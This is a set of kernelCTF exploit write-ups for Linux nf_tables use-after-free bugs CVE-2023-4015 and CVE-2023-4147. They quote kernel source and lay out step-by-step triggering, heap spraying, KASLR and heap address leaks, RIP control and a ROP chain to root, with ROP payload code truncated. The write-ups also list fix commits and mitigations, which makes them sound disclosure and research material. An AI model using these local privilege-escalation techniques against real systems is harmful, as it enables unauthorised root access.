Pocs Linux Kernelctf CVE 2023 4015 Cos Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-4015_cos/docs/vulnerability.md`) Copy Section

CVE-2023-4015

In nft_immediate_deactivate, if the immediate expression has dreg == NFT_REG_VERDICT and has binding to a chain with flag NFT_CHAIN_BINDING, it will call nft_rule_expr_deactivate on all rules under the bound chain.
This will in turn call deactivate method on all expressions belong to the rule. If there's an immediate expression that has binding to a chain, it will go through the same deactivation routine.
Then at the end, the bound chain will has its use counter decrease by 1 when nft_data_release is called each time this function is called and the transaction phase is not NFT_TRANS_COMMIT.

Problem arises if this function is called twice on an expression in a single transaction in any phases other than NFT_TRANS_COMMIT, the bound chain's use will be decreased by 2.
Considering the case when the chain has 2 objects holding reference to it, the use of the chain will be 0, which allows the chain to be deleted and leaving a dangling reference.

Before commit 26b5a5712eb85e253724e56a54c17f8519bd8e4e, there are no vulnerable code paths.
However the commit introduced NFT_TRANS_PREPARE_ERROR phase, which opened up a way to achieve the UAF condition because when error happens when creating a rule, it will call deactivate on successfully created expressions, which could be immediate expressions binding to a chain created in the same batch.
The chain in the batch will also be deactivated again when rolling back the transaction.
Detailed demonstration of the UAF can be seen in exploit.md.

Requirements to trigger the vulnerability Copy Chapter

Commit which introduced the vulnerability Copy Chapter

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=26b5a5712eb85e253724e56a54c17f8519bd8e4e

Commit which fixed the vulnerability Copy Chapter

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a771f7b266b02d262900c75f1e175c7fe76fec2

Affected kernel versions Copy Chapter

• 5.10.188 - 5.10.189
• 5.15.119 - 5.15.123
• 6.1.36 - 6.1.42
• 6.3.10 - 6.3.13
• 6.4 - 6.4.7
• 6.5-rc1 - 6.5-rc3

Affected component, subsystem Copy Chapter

netfilter/nf_tables

Cause Copy Chapter

Use-after-free

Which syscalls or syscall parameters are needed to be blocked to prevent triggering the vulnerability? Copy Chapter

Disable the ability to communicate with nf_tables subsystem under unprivileged user namespace, or prevent creation of unprivileged user namespace.

Pocs Linux Kernelctf CVE 2023 4015 Lts Docs Exploit (`pocs/linux/kernelctf/CVE-2023-4015_lts/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

If an error occurs when creating a new rule in the nf_tables_newrule, the nft_rule_expr_deactivate is called with the NFT_TRANS_PREPARE_ERROR as an argument [1].

static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
           const struct nlattr * const nla[])
{
  ...

  return 0;

err_destroy_flow_rule:
  if (flow)
    nft_flow_rule_destroy(flow);
err_release_rule:
  nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE_ERROR);      // [1]
  nf_tables_rule_destroy(&ctx, rule);
err_release_expr:
  for (i = 0; i < n; i++) {
    if (expr_info[i].ops) {
      module_put(expr_info[i].ops->type->owner);
      if (expr_info[i].ops->type->release_ops)
        expr_info[i].ops->type->release_ops(expr_info[i].ops);
    }
  }
  kvfree(expr_info);

  return err;
}

If immediate expr exists in the rule being created, the nft_immediate_deactivate is called. In the NFT_TRANS_PREPARE_ERROR phase, nft_immediate_deactivate calls nft_rule_expr_deactivate to deactivate rules in the bound chain [2] and calls nf_tables_unbind_chain to unbind the chain [3].

static void nft_immediate_deactivate(const struct nft_ctx *ctx,
                     const struct nft_expr *expr,
                     enum nft_trans_phase phase)
{
    const struct nft_immediate_expr *priv = nft_expr_priv(expr);
    const struct nft_data *data = &priv->data;
    struct nft_ctx chain_ctx;
    struct nft_chain *chain;
    struct nft_rule *rule;

    if (priv->dreg == NFT_REG_VERDICT) {
        switch (data->verdict.code) {
        case NFT_JUMP:
        case NFT_GOTO:
            chain = data->verdict.chain;
            if (!nft_chain_binding(chain))
                break;

            chain_ctx = *ctx;
            chain_ctx.chain = chain;

            list_for_each_entry(rule, &chain->rules, list)
                nft_rule_expr_deactivate(&chain_ctx, rule, phase);  // [2]

            switch (phase) {
            case NFT_TRANS_PREPARE_ERROR:
                nf_tables_unbind_chain(ctx, chain);             // [3]
                fallthrough;
            case NFT_TRANS_PREPARE:
                nft_deactivate_next(ctx->net, chain);
                break;
            default:
                nft_chain_del(chain);
                chain->bound = false;
                chain->table->use--;
                break;
            }
            break;
        default:
            break;
        }
    }

    if (phase == NFT_TRANS_COMMIT)
        return;

    return nft_data_release(&priv->data, nft_dreg_to_type(priv->dreg));
}

Afterwards, in the ABORT phase, the previously executed NFT_MSG_NEWRULE command is processed. At this time, since the rule is unbind in [3], the condition in [4] is not satisfied. Thus, the nft_rule_expr_deactivate in [5] is called. Since deactivate is already performed in [2], nft_immediate_deactivate is called twice for one rule (NFT_TRANS_PREPARE_ERROR and NFT_TRANS_ABORT phases), and this leads underflow of chain->use in nft_data_release.

static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
{
  ...
    case NFT_MSG_NEWRULE:
      if (nft_trans_rule_bound(trans)) {      // [4]
        nft_trans_destroy(trans);
        break;
      }
      trans->ctx.chain->use--;
      list_del_rcu(&nft_trans_rule(trans)->list);
      nft_rule_expr_deactivate(&trans->ctx,                 // [5]
             nft_trans_rule(trans),
             NFT_TRANS_ABORT);
      if (trans->ctx.chain->flags & NFT_CHAIN_HW_OFFLOAD)
        nft_flow_rule_destroy(nft_trans_flow_rule(trans));
      break;

We can trigger the vulnerability as follows:

• Create three chains, Base, Vulnerable, and Victim. Set NFT_CHAIN_BINDING flag for Vulnerable.
• Create a rule R2 in Vulnerable with an immediate expr referencing the Victim.
• Create a rule R1 in Base with two immediate exprs referencing the Vulnerable. The vulnerability is triggered because it attempts to create an immediate expr that already exists. This results in the Victim having a reference count of -1.

KASLR Bypass Copy Section

The KASLR address is leaked through chain->name, which is stored in the verdict data of the immediate expr (nft_immediate_expr.data.verdict). The leak process is as follows:

• Create three chains, Base, Vulnerable, and Victim. Set NFT_CHAIN_BINDING flag for Vulnerable. Make the Victim's name 9-16 bytes long so that it can be allocated into kmalloc-cg-16.
• Create a rule in Base with an immediate expr referencing the Vulnerable.
• Create a rule in Vulnerable with an immediate expr referencing Victim.
• Trigger the vulnerability. This results in the Victim having a reference count of -1.
• Create an immediate expr in Base that references to the Victim, making the Victim's reference count 0, and destroy the Victim.
• Spray counter exprs (struct nft_expr) to place it at Victim's chain->name. At this time, the size of counter expr (struct nft_expr) is 16 bytes, so the counter exprs are allocated in the kmalloc-cg-16.
• We dump the immediate expr of Base using GETRULE command, we can get the ops address of counter expr through the freed chain->name to get the kernel base address [6].

int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v)
{
    struct nlattr *nest;

    nest = nla_nest_start_noflag(skb, type);
    if (!nest)
        goto nla_put_failure;

    if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code)))
        goto nla_put_failure;

    switch (v->code) {
    case NFT_JUMP:
    case NFT_GOTO:
        if (nla_put_string(skb, NFTA_VERDICT_CHAIN,
                    v->chain->name))  // [6]
            goto nla_put_failure;
    }
    nla_nest_end(skb, nest);
    return 0;

nla_put_failure:
    return -1;
}

Heap Address Leak Copy Section

We leak the heap address in the same way as we leak the kernel base address. To leak the heap address, we sprayed the nft_rule instead of counter expr. We place nft_rule in freed Victim's nft_chain->name and dump the rule of the Base. As a result, we can read the heap address stored in nft_rule->list through Victim's nft_chain->name. We put the address of the kmalloc-cg-96 object in list->next and the address of the kmalloc-cg-192 object in list->prev by creating nft_rules. The size of the nft_rule can be adjusted by adding multiple nft_exprs inside the nft_rule. Since data of type string is used for leaking, we repeated the entire exploit until the heap address does not contain null.

RIP Control Copy Section

We use nft_chain->blob_gen_0 to control the RIP. The nft_chain->blob_gen_0 is used when evaluating packets in the nft_do_chain function [7].

nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
    ...
do_chain:
    if (genbit)
        blob = rcu_dereference(chain->blob_gen_1);
    else
        blob = rcu_dereference(chain->blob_gen_0);  // [7]

    rule = (struct nft_rule_dp *)blob->data;
    last_rule = (void *)blob->data + blob->size;
next_rule:
    regs.verdict.code = NFT_CONTINUE;
    for (; rule < last_rule; rule = nft_rule_next(rule)) {
        nft_rule_dp_for_each_expr(expr, last, rule) {
            if (expr->ops == &nft_cmp_fast_ops)
                nft_cmp_fast_eval(expr, &regs);
            else if (expr->ops == &nft_cmp16_fast_ops)
                nft_cmp16_fast_eval(expr, &regs);
            else if (expr->ops == &nft_bitwise_fast_ops)
                nft_bitwise_fast_eval(expr, &regs);
            else if (expr->ops != &nft_payload_fast_ops ||
                    !nft_payload_fast_eval(expr, &regs, pkt))
                expr_call_ops_eval(expr, &regs, pkt);

            if (regs.verdict.code != NFT_CONTINUE)
                break;
        }
    ...

To do this, we assign chain->blob_gen_0 to kmalloc-cg-64 and trigger the vulnerability. chain->blob_gen_0 is allocated in the nf_tables_chain_alloc_rules when creating new chain [5]. chain->blob_gen_0 is allocated from the nf_tables_chain_alloc_rules when creating a new chain [8].

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
			      u8 policy, u32 flags,
			      struct netlink_ext_ack *extack)
{
    ...
	data_size = offsetof(struct nft_rule_dp, data);	/* last rule */
	blob = nf_tables_chain_alloc_rules(data_size);      // [8]
	if (!blob) {
		err = -ENOMEM;
		goto err_destroy_chain;
	}

The size used by kvmalloc [9] is 40, offsetof(struct nft_rule_dp, data) + sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old) (8 + 24 + 8), the blob object is allocated in kmalloc-cg-64.

static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size)
{
	struct nft_rule_blob *blob;

	/* size must include room for the last rule */
	if (size < offsetof(struct nft_rule_dp, data))
		return NULL;

	size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old);
	if (size > INT_MAX)
		return NULL;

	blob = kvmalloc(size, GFP_KERNEL_ACCOUNT);      // [9]
	if (!blob)
		return NULL;

	blob->size = 0;
	nft_last_rule(blob, blob->data);

	return blob;
}

We then spray the udata of the struct nft_table and place it in freed blob_gen_0. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [10].

static void expr_call_ops_eval(const struct nft_expr *expr,
                    struct nft_regs *regs,
                    struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
    unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
    do { if ((e) == (unsigned long)(fun)) \
        return fun(expr, regs, pkt); } while (0)  // [10]

    X(e, nft_payload_eval);
    X(e, nft_cmp_eval);
    X(e, nft_counter_eval);
    X(e, nft_meta_get_eval);
    X(e, nft_lookup_eval);
    X(e, nft_range_eval);
    X(e, nft_immediate_eval);
    X(e, nft_byteorder_eval);
    X(e, nft_dynset_eval);
    X(e, nft_rt_get_eval);
    X(e, nft_bitwise_eval);
#undef  X
#endif /* CONFIG_RETPOLINE */
    expr->ops->eval(expr, regs, pkt);
}

Post RIP Copy Section

Store the ROP payload below to the kmalloc-cg-96 and kmalloc-cg-192 addresses leaked above, and execute it. The ROP payload of kmalloc-cg-192 is stored in nft_rule->data when the rule is created during the heap spraying. The ROP payload of kmalloc-cg-96 is stored by spraying nft_table->udata after freeing the rule used in the heap spray.

/* Detailed source-code truncated for AI context efficiency. */

Pocs Linux Kernelctf CVE 2023 4015 Lts Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-4015_lts/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilites: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4bedf9eee016
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a771f7b266b02d262900c75f1e175c7fe76fec2
• Affected Version: v6.4 - v6.5-rc2
• Affected Component: net/netfilter
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4015
• Cause: Use-After-Free
• Description: A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. On an error when building a nftables rule, deactivating immediate expressions in nft_immediate_deactivate() can lead unbinding the chain and objects be deactivated but later used. We recommend upgrading past commit 0a771f7b266b02d262900c75f1e175c7fe76fec2.

Pocs Linux Kernelctf CVE 2023 4015 Lts 2 Docs Exploit (`pocs/linux/kernelctf/CVE-2023-4015_lts_2/docs/exploit.md`) Copy Section

CVE-2023-4015

This documentation briefly describe the exploit. For more technical details, please look at the exploit source code.

In order to trigger the vulnerability, CAP_NET_ADMIN is required. We can use a namespace sandbox in order to achieve this condition.
Also for all allocations in the kernel heap we make do not span over multiple percpu slabs, we will pin our process to a single CPU.

Triggering the vulnerability Copy Chapter

We aim to free a nft_chain object resides in kmalloc-cg-128 cache.

• Batch 1
  • Create a table t
  • Create a chain c1
  • Create a chain c2 hosting a rule r2 that has an immediate expression e2 which binds to c1
    • c1->use == 1
• Batch 2
  • Create a chain c3 hosting a rule r3 that has an immediate expression e3 which binds to c1
    • c3 should have NFT_CHAIN_BINDING flag
    • c1->use = 2
  • Create a chain c4 hosting a rule r4 that has an immediate expression e4 which binds to c3
    • However, we will not allow the rule creation to success by adding another immediate expression, which binds to a non-existant chain
    • At this point, nft_rule_expr_deactivate will be called on r4 with phase = NFT_TRANS_PREPARE_ERROR
    • nft_immediate_deactivate will be called on e4
    • Since c3 has NFT_CHAIN_BINDING flag, nft_rule_expr_deactivate will be called on r3, which will also deactivate e3
    • c1->use = 1 because c1 is bound to e3
  • Because the batch failed, transaction rollback will be executed with phase = NFT_TRANS_ABORT
    • c3, r3, e3 will be deactivated again
    • c1->use = 0
• Batch 3
  • Because c1->use = 0, we can delete chain c1

After this, we have a dangling reference in e2 to the freed chain c1.
The naming convention here is for demonstration purpose only. In the exploit it will be different.
We will also create a spray chain in order to spray the heap using nft_rule object later (mostly to avoid accidentally reclaiming the freed chunk when creating new chain).

Leak kernel heap address Copy Chapter

When dumping immediate expression binding to another chain, we will get the chain's name.
When the chain is freed, the buffer containing its name is also freed. The address pointing to the name is not cleared.
If we reclaim the freed name buffer, but not the freed chain, we can leak data from the start of the reclaimed object until a NULL byte.
With chunk size 192 (kmalloc-cg-192), it is less likely that we will get NULL byte in the address.
So when creating c1 rule, we set the actual name to be 129-192 bytes long (including NULL terminating character).

We will use nft_rule as the spraying object to reclaim the freed name chunk because:

• It is an elastic object so we can attack many caches
• The elastic portion are flattened expression array (up to 128 expressions) and arbitrary user data (up to 255 bytes)
• The first field is list_head so we can leak heap address of the next rule and the previous rule

We create a lot of rules with some user data so that the total length of the nft_rule struct is in range 129-192 bytes.
After spraying, we request to dump r2 which will dump e2 and hopefully we will get the heap address of a nft_rule object.
If the leak fails, we will try again.
We will also be able to leak the handle of the rule object that reclaimed the freed name chunk.
It will be used to correctly free only the rule that we got the heap address for later stage.

We will also add a nft_notrack expression to the rule so there will be a kernel pointer inside, which we will leak in the next stage once we get the heap leak. The in-memory structure layout of the sprayed rules looks like this (first 0x18 bytes are rule metadata):

Leak kernel base address Copy Chapter

Now that we have heap leak and we know that a kernel address is inside that chunk, let's leak it by creating a fake chain with name pointing to the leaked heap region by reclaiming the freed chain (reminder: the freed nft_chain is in kmalloc-cg-128 cache).
This time we will spray using userdata of nft_table. We can store at most 256 bytes of arbitrary data.
We create multiple nft_table with different names that has 128 bytes userdata with structure layout looks like following:

| Offset | nft_chain field | Value | Remarks |
---------|-------------------|-----------------|
0x0|list|any|
0x10|rules.next|heap leak|for next stage
0x18|rules.prev|heap leak|for next stage
...
0x54|flags|NFT_CHAIN_BINDING|for next stage
0x58|name|heap leak + sizeof(struct nft_rule)|where we put nft_notrack_ops in the sprayed rule above
...

After spraying, we request to dump r2 which will dump e2 and hopefully we will get the address of nft_notrack_ops.

RIP control and return to userspace Copy Chapter

As we have handle of the rule that got its address leaked, we delete it.
Then, we spray a fake nft_rule that also act as a ROP chain. Remember that the deleted rule resided in kmalloc-cg-192 cache.
We set dlen of the fake rule to 1 to pass the expression loop check.
We craft a fake expression that has its ops point to the leaked heap. We need to align ops->deactivate with a JOP gadget.
Following that, we build a ROP chain that do commit_creds(&init_cred), switch_task_namespaces(find_task_by_vpid(getpid()), &init_nsproxy) then return to userspace.

After spraying, we delete the rule r2 which will call nft_rule_expr_deactivate on e2. Since we prepared fake rule list for the reclaimed fake chain, and set its flag to NFT_CHAIN_BINDING, the fake rule will be deactivated and the fake expression's deactivate routine will be called, which will trigger the JOP gadget then the ROP chain.

Returning to userspace, we use setns to escape from the jail then spawn a root shell using execve.

Pocs Linux Kernelctf CVE 2023 4015 Lts 2 Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-4015_lts_2/docs/vulnerability.md`) Copy Section

CVE-2023-4015

In nft_immediate_deactivate, if the immediate expression has dreg == NFT_REG_VERDICT and has binding to a chain with flag NFT_CHAIN_BINDING, it will call nft_rule_expr_deactivate on all rules under the bound chain.
This will in turn call deactivate method on all expressions belong to the rule. If there's an immediate expression that has binding to a chain, it will go through the same deactivation routine.
Then at the end, the bound chain will has its use counter decrease by 1 when nft_data_release is called each time this function is called and the transaction phase is not NFT_TRANS_COMMIT.

Problem arises if this function is called twice on an expression in a single transaction in any phases other than NFT_TRANS_COMMIT, the bound chain's use will be decreased by 2.
Considering the case when the chain has 2 objects holding reference to it, the use of the chain will be 0, which allows the chain to be deleted and leaving a dangling reference.

Before commit 26b5a5712eb85e253724e56a54c17f8519bd8e4e, there are no vulnerable code paths.
However the commit introduced NFT_TRANS_PREPARE_ERROR phase, which opened up a way to achieve the UAF condition because when error happens when creating a rule, it will call deactivate on successfully created expressions, which could be immediate expressions binding to a chain created in the same batch.
The chain in the batch will also be deactivated again when rolling back the transaction.
Detailed demonstration of the UAF can be seen in exploit.md.

Requirements to trigger the vulnerability Copy Chapter

Commit which introduced the vulnerability Copy Chapter

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=26b5a5712eb85e253724e56a54c17f8519bd8e4e

Commit which fixed the vulnerability Copy Chapter

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a771f7b266b02d262900c75f1e175c7fe76fec2

Affected kernel versions Copy Chapter

• 5.10.188 - 5.10.189
• 5.15.119 - 5.15.123
• 6.1.36 - 6.1.42
• 6.3.10 - 6.3.13
• 6.4 - 6.4.7
• 6.5-rc1 - 6.5-rc3

Affected component, subsystem Copy Chapter

netfilter/nf_tables

Cause Copy Chapter

Use-after-free

Which syscalls or syscall parameters are needed to be blocked to prevent triggering the vulnerability? Copy Chapter

Disable the ability to communicate with nf_tables subsystem under unprivileged user namespace, or prevent creation of unprivileged user namespace.

Pocs Linux Kernelctf CVE 2023 4147 Lts Cos Docs Exploit (`pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

nf_tables_newrule disallows adding a new rule to the bound chain [1], but when adding a rule with NFTA_RULE_CHAIN_ID a rule is added to the bound chain [2].

static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
			     const struct nlattr * const nla[])
{
    ...

	table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
				 NETLINK_CB(skb).portid);
	if (IS_ERR(table)) {
		NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
		return PTR_ERR(table);
	}

	if (nla[NFTA_RULE_CHAIN]) {
		chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
					 genmask);
		if (IS_ERR(chain)) {
			NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
			return PTR_ERR(chain);
		}
		if (nft_chain_is_bound(chain))                  // [1]
			return -EOPNOTSUPP;

	} else if (nla[NFTA_RULE_CHAIN_ID]) {
		chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID]);     // [2]
		if (IS_ERR(chain)) {
			NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
			return PTR_ERR(chain);
		}
	} else {
		return -EINVAL;
	}

We can trigger the vulnerability in LTS as follows:

• Create three chains, Base, Vulnerable, and Victim. Set NFT_CHAIN_BINDING flag for Vulnerable. If a chain with the NFT_CHAIN_BINDING flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed.
• Create a rule in Base with an immediate expr referencing the Vulnerable.
• Create a rule in Vulnerable with an immediate expr referencing Victim.
• Trigger the vulnerability by replacing the rule in Vulnerable. This results in the Victim having a reference count (nft_chain->use) of 0.
• Delete the rule in Base to deactivate the Vulnerable again. This results in the Victim having a reference count (nft_chain->use) of -1.

We can trigger the vulnerability in COS as follows:

• Create two chains, Base and Vulnerable. Set NFT_CHAIN_BINDING flag for Vulnerable. If a chain with the NFT_CHAIN_BINDING flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed.
• Create an anonymous set Victim.
• Create a set element in set Victim.
• Create a rule R1 in Base with an immediate expr referencing the Vulnerable.
• Create a rule R2 in Vulnerable with an lookup expr referencing the Victim.
• Delete the R1. This results in Victim being free from the destroy phase [3].
• Delete the set element in Victim. This results in a UAF that references Victim that was freed in previous step [4].

static void nft_commit_release(struct nft_trans *trans)
{
	switch (trans->msg_type) {
    ...
	case NFT_MSG_DELSET:
		nft_set_destroy(&trans->ctx, nft_trans_set(trans));         // [3]
		break;
	case NFT_MSG_DELSETELEM:
		nf_tables_set_elem_destroy(&trans->ctx,
					   nft_trans_elem_set(trans),                   // [4]
					   nft_trans_elem(trans).priv);
		break;
    ...
}

LTS Exploit Copy Section

KASLR Bypass

The KASLR address is leaked through chain->name, which is stored in the verdict data of the immediate expr (nft_immediate_expr.data.verdict). The leak process is as follows:

• Create three chains, Base, Vulnerable, and Victim. Set NFT_CHAIN_BINDING flag for Vulnerable. If a chain with the NFT_CHAIN_BINDING flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed.
• Create a rule in Base with an immediate expr referencing the Vulnerable.
• Create a rule in Vulnerable with an immediate expr referencing Victim.
• Trigger the vulnerability by replacing the rule in Vulnerable. This results in the Victim having a reference count (nft_chain->use) of 0.
• Delete the rule in Base to deactivate the Vulnerable again. This results in the Victim having a reference count (nft_chain->use) of -1.
• Create an immediate expr in Base that references to the Victim, making the Victim's reference count (nft_chain->use) 0, and destroy the Victim.
• Spray counter exprs (struct nft_expr) to place it at Victim's chain->name. At this time, the counter exprs are allocated in the kmalloc-cg-16.
• We dump the immediate expr of Base using GETRULE command, we can get the ops address of counter expr through the freed chain->name to get the kernel base address [5].

int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v)
{
    struct nlattr *nest;

    nest = nla_nest_start_noflag(skb, type);
    if (!nest)
        goto nla_put_failure;

    if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code)))
        goto nla_put_failure;

    switch (v->code) {
    case NFT_JUMP:
    case NFT_GOTO:
        if (nla_put_string(skb, NFTA_VERDICT_CHAIN,
                    v->chain->name))  // [5]
            goto nla_put_failure;
    }
    nla_nest_end(skb, nest);
    return 0;

nla_put_failure:
    return -1;
}

Heap Address Leak

We leak the heap address in the same way as we leak the kernel base address. To leak the heap address, we sprayed the nft_rule instead of counter expr. We place nft_rule in freed Victim's nft_chain->name and dump the rule of the Base. As a result, we can read the heap address stored in nft_rule->list through Victim's nft_chain->name. We put the address of the kmalloc-cg-96 object in list->next and the address of the kmalloc-cg-192 object in list->prev by creating nft_rules. The size of the nft_rule can be adjusted by adding multiple nft_exprs inside the nft_rule. Since data of type string is used for leaking, we repeated the entire exploit until the heap address does not contain null.

RIP Control

We use nft_chain->blob_gen_0 to control the RIP. The nft_chain->blob_gen_0 is used when evaluating packets in the nft_do_chain function [6].

nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
    ...
do_chain:
    if (genbit)
        blob = rcu_dereference(chain->blob_gen_1);
    else
        blob = rcu_dereference(chain->blob_gen_0);  // [6]

    rule = (struct nft_rule_dp *)blob->data;
    last_rule = (void *)blob->data + blob->size;
next_rule:
    regs.verdict.code = NFT_CONTINUE;
    for (; rule < last_rule; rule = nft_rule_next(rule)) {
        nft_rule_dp_for_each_expr(expr, last, rule) {
            if (expr->ops == &nft_cmp_fast_ops)
                nft_cmp_fast_eval(expr, &regs);
            else if (expr->ops == &nft_cmp16_fast_ops)
                nft_cmp16_fast_eval(expr, &regs);
            else if (expr->ops == &nft_bitwise_fast_ops)
                nft_bitwise_fast_eval(expr, &regs);
            else if (expr->ops != &nft_payload_fast_ops ||
                    !nft_payload_fast_eval(expr, &regs, pkt))
                expr_call_ops_eval(expr, &regs, pkt);

            if (regs.verdict.code != NFT_CONTINUE)
                break;
        }
    ...

To do this, we assign chain->blob_gen_0 to kmalloc-cg-64 and trigger the vulnerability. chain->blob_gen_0 is allocated in the nf_tables_chain_alloc_rules when creating new chain [7]. chain->blob_gen_0 is allocated from the nf_tables_chain_alloc_rules when creating a new chain [5].

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
			      u8 policy, u32 flags,
			      struct netlink_ext_ack *extack)
{
    ...
	data_size = offsetof(struct nft_rule_dp, data);	/* last rule */
	blob = nf_tables_chain_alloc_rules(data_size);      // [7]
	if (!blob) {
		err = -ENOMEM;
		goto err_destroy_chain;
	}

The size used by kvmalloc [8] is 40, offsetof(struct nft_rule_dp, data) + sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old) (8 + 24 + 8), the blob object is allocated in kmalloc-cg-64.

static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size)
{
	struct nft_rule_blob *blob;

	/* size must include room for the last rule */
	if (size < offsetof(struct nft_rule_dp, data))
		return NULL;

	size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old);
	if (size > INT_MAX)
		return NULL;

	blob = kvmalloc(size, GFP_KERNEL_ACCOUNT);      // [8]
	if (!blob)
		return NULL;

	blob->size = 0;
	nft_last_rule(blob, blob->data);

	return blob;
}

We then spray the udata of the struct nft_table and place it in freed blob_gen_0. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [9].

static void expr_call_ops_eval(const struct nft_expr *expr,
                    struct nft_regs *regs,
                    struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
    unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
    do { if ((e) == (unsigned long)(fun)) \
        return fun(expr, regs, pkt); } while (0)  // [9]

    X(e, nft_payload_eval);
    X(e, nft_cmp_eval);
    X(e, nft_counter_eval);
    X(e, nft_meta_get_eval);
    X(e, nft_lookup_eval);
    X(e, nft_range_eval);
    X(e, nft_immediate_eval);
    X(e, nft_byteorder_eval);
    X(e, nft_dynset_eval);
    X(e, nft_rt_get_eval);
    X(e, nft_bitwise_eval);
#undef  X
#endif /* CONFIG_RETPOLINE */
    expr->ops->eval(expr, regs, pkt);
}

Post RIP

Store the ROP payload below to the kmalloc-cg-96 and kmalloc-cg-192 addresses leaked above, and execute it.

/* Detailed source-code truncated for AI context efficiency. */

COS Exploit Copy Section

Starting with commit [4bedf9ee] (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4bedf9eee016286c835e3d8fa981ddece5338795), it is possible to decrease the reference count of the victim chain in nft_immediate_deactivate because nft_rule_expr_deactivate is called in nft_immediate_deactivate. Therefore, the exploit in LTS kernel was possible using the method described above. However, in previous versions, nft_immediate_destroy calls nft_rule_expr_deactivate, so the exploit cannot be used in the same way as LTS kernel. Therefore, COS kernel was exploited in a different way than LTS kenel.

Information Leak

The KASLR address and heap address are leaked through nft_rule allocated in kmalloc-cg-192. The leak process is as follows:

• Create four chains, Base, Vulnerable, Chain_Victim, and Target. Set NFT_CHAIN_BINDING flag for Vulnerable. If a chain with the NFT_CHAIN_BINDING flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed.

• Create chains Chain_Victim2_n for the victim rules created in the next step. In this exploit, 0x30 chains are sprayed.

• Create an anonymous rhash set Set_Victim.

• Create a set element in set Set_Victim. The element is allocated in kmalloc-cg-256.

• Create rules Rule_Victim2_n in Chain_Victim2_n. The rules are allocated in kmalloc-cg-192.

• Create rules Rule_Targret_n in Target with an last expr. The rules are allocated in kmalloc-cg-192. The kbase and heap address in the Rule_Targret_n are used for leak in following step. We can read the target rule allocated right after the Rule_Victim2_n.

• Create rules Rule_Victim_n in Chain_Victim with an immediate expr referencing the Chain_Victim2_n. The rules are allocated in kmalloc-cg-256.

• Create a rule R1 in Base with an immediate expr referencing the Vulnerable.

• Create a rule R2 in Vulnerable with a lookup expr referencing the Set_Victim. We can add the rule to bound chain Vulnerable because of the vulnerability.

• Delete the R1. When R1 is destroyed, nft_immediate_destroy is called to destroy R2, the rule of Vulnerable that is bound to R1. This results in Set_Victim being free in nft_lookup_destroy from the destroy phase.

• Delete the set element in Set_Victim. This will reference the Set_Victim freed in the previous step in the nf_tables_set_elem_destroy, causing a UAF.

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
				       const struct nft_set *set, void *elem)
{
	struct nft_set_ext *ext = nft_set_elem_ext(set, elem);          // [10]

	if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
		nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));      // [11]

	kfree(elem);
}

static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set,
						   void *elem)
{
	return elem + set->ops->elemsize;                       // [12]
}

